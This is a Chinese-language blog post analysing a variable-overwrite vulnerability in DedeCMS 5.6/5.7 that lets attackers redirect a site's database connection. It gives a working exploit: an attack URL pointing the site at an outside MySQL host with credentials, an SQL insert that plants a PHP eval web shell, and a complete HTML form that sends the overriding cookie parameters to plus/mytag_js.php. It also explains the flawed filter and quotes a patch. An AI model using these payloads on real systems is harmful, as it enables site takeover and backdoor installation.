漏洞不是我发的,这里仅仅只是分析这个漏洞的成因
今天看到微博看到dedecms出洞了,上土司看了一下,同一个问题,暂时公布的有2个位置,
dede/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
上面这个是知道后台地址的利用方式
另一种如下,下本地装一个dede,执行一下语句,很简单,写了一个dedetag,生成shell的
SQL 语句:
insert into dede_mytag(aid,normbody) values(1,
'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'<?php eval($_POST[c]) ?>\');echo "OK";@fclose($fp);{/dede:php}'
);
再用构造的表单提交数据库信息到plus/mytag_js.php?aid=1,覆盖掉数据库的全局参数,导致目标站的mysql类链接到黑客构造的mysql数据库,shell 在同目录下 1.php
分析下mytag_js.php,一开始引用了配置文件,跟进去看看:
require_once
(dirname(
__FILE__
).
'/../include/common.inc.php'
);
会发现下面代码:
以下是引用片段:
if
(!defined(
'DEDEREQUEST'
))
{
foreach
(
$_REQUEST
as
$_k
=>
$_v
)
{
if
(
strlen
(
$_k
)>0 && preg_match(
'/^(cfg_|GLOBALS)/'
,
$_k
) )
{
exit
(
'Request var not allow!'
);
}
}
foreach
(Array(
'_GET'
,
'_POST'
,
'_COOKIE'
)
as
$_request
)
{
foreach
($
$_request
as
$_k
=>
$_v
) ${
$_k
} = _RunMagicQuotes(
$_v
);
}
}
上面这个套路过滤了引号之类的注入问题,变量覆盖虽有过滤,但是没过滤完全,被多维数组绕过了,
如_COOKIE[GLOBALS][cfg_dbuser]这个变量,
foreach
(
$_REQUEST
as
$_k
=>
$_v
)之后,这个
$k
变成_COOKIE,从而绕过了过滤
$v
变成了[GLOBALS][cfg_dbuser],从而覆盖了data/common.inc.php中的数据库配置变量,
测试5.6 ,5.7都存在,用dedecms的站非常多,这次估计得悲剧一大片。
修补的方法官方论坛有位斑竹给出了代码,如下
找到
include
/common.inc.php文件
找到
foreach
(
$_REQUEST
as
$_k
=>
$_v
)
{
if
(
strlen
(
$_k
)>0 &&
eregi
(
'^(cfg_|GLOBALS)'
,
$_k
) )
{
exit
(
'Request var not allow!'
);
}
}
替换为下面的代码:
function
CheckRequest(&
$val
) {
if
(
is_array
(
$val
)) {
foreach
(
$val
as
$_k
=>
$_v
) {
CheckRequest(
$_k
);
CheckRequest(
$val
[
$_k
]);
}
}
else
{
if
(
strlen
(
$val
)>0 && preg_match(
'#^(cfg_|GLOBALS)#'
,
$val
) )
{
exit
(
'Request var not allow!'
);
}
}
}
CheckRequest(
$_REQUEST
);
------------------------------------------------------------------------------------------------
By:jannock
漏洞细节已经传遍了(http:
网传的都是说要知道后台才能利用,但不用,只要 plus 目录存在,服务器能外连,就能拿shell。
前题条件,必须准备好自己的dede数据库,然后插入数据:
以下是引用片段:
insert into dede_mytag(aid,normbody) values(1,
'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'<?php eval($_POST[c]) ?>\');echo "OK";@fclose($fp);{/dede:php}'
);
再用下面表单提交,shell 就在同目录下 1.php。原理自己研究。。。
以下是引用片段:
<form action=
""
method=
"post"
name=
"QuickSearch"
id=
"QuickSearch"
onsubmit=
"addaction();"
>
<input type=
"text"
value=
"http://localhost:8080/plus/mytag_js.php?aid=1"
name=
"doaction"
style=
"width:400"
><br />
<input type=
"text"
value=
"dbhost"
name=
"_COOKIE[GLOBALS][cfg_dbhost]"
style=
"width:400"
><br />
<input type=
"text"
value=
"dbuser"
name=
"_COOKIE[GLOBALS][cfg_dbuser]"
style=
"width:400"
><br />
<input type=
"text"
value=
"dbpwd"
name=
"_COOKIE[GLOBALS][cfg_dbpwd]"
style=
"width:400"
><br />
<input type=
"text"
value=
"dbname"
name=
"_COOKIE[GLOBALS][cfg_dbname]"
style=
"width:400"
><br />
<input type=
"text"
value=
"dede_"
name=
"_COOKIE[GLOBALS][cfg_dbprefix]"
style=
"width:400"
><br />
<input type=
"text"
value=
"true"
name=
"nocache"
style=
"width:400"
>
<input type=
"submit"
value=
"提交"
name=
"QuickSearchBtn"
><br />
</form>
<script>
function
addaction()
{
document.QuickSearch.action=document.QuickSearch.doaction.value;
}
</script>